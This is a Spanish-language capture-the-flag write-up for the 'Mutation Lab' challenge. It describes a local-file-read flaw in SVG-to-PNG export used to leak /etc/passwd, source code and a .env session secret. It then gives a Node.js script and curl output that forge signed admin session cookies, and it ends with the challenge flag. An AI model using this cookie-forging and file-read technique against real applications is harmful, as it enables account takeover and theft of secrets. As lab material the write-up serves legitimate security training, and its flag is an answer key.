Mutation Lab
2 minutos de lectura
Se nos proporciona una página web como esta:
Nos tenemos que registrar e iniciar sesión para ver un dashboard chulo:
La única funcionalidad que tenemos es la de exportar las imágenes SVG que vemos como archivos PNG. Podemos capturar la petición con Burp Suite:
Después de un poco de investigación, podemos ver que hay una vulnerabilidad en la conversión de SVG que deriva en lectura de archivos locales (más información en security.snyk.io).
Necesitaremos usar el siguiente payload para leer /etc/passwd
como imagen PNG:
Y aquí lo tenemos:
Ahora podemos comenzar a leer código fuente. Por ejemplo, podemos comenzar con /app/index.js
:
Aquí vemos que utiliza /app/.env
como archivo de configuración para cargar SESSION_SECRET_KEY
:
Si leemos /app/routes/index.js
, vemos que si somos admin
, podremos leer la flag (en /dashboard
):
Ahora lo que tenemos que hacer es falsificar dos cookies de sesión utilizando el mismo código de arriba y el mismo valor de SESSION_SECRET_KEY
:
#!/usr/bin/env node
const express = require('express')
const session = require('cookie-session')
const cookieParser = require('cookie-parser')
const app = express()
app.use(express.json({ limit: '2mb' }))
app.use(cookieParser())
app.use(session({
name: 'session',
keys: ['5921719c3037662e94250307ec5ed1db']
}))
app.get('/', (req, res) => {
req.session.username = 'admin'
res.send({ message: req.session.username })
})
app.listen(3000, () => console.log('Listening...'))
Si arrancamos el servidor, podemos obtener las cookies de sesión y configurarlas en el navegador:
$ node index.js
Listening...
$ curl 127.0.0.1:3000 -si | grep Cookie
Set-Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0=; path=/; httponly
Set-Cookie: session.sig=EYdvy2mhVoEznETyhYjNYFFZM8o; path=/; httponly
Al refrescar la página, vemos otra imagen que muestra la flag:
HTB{fr4m3d_s3cr37s_4nd_f0rg3d_entr13s}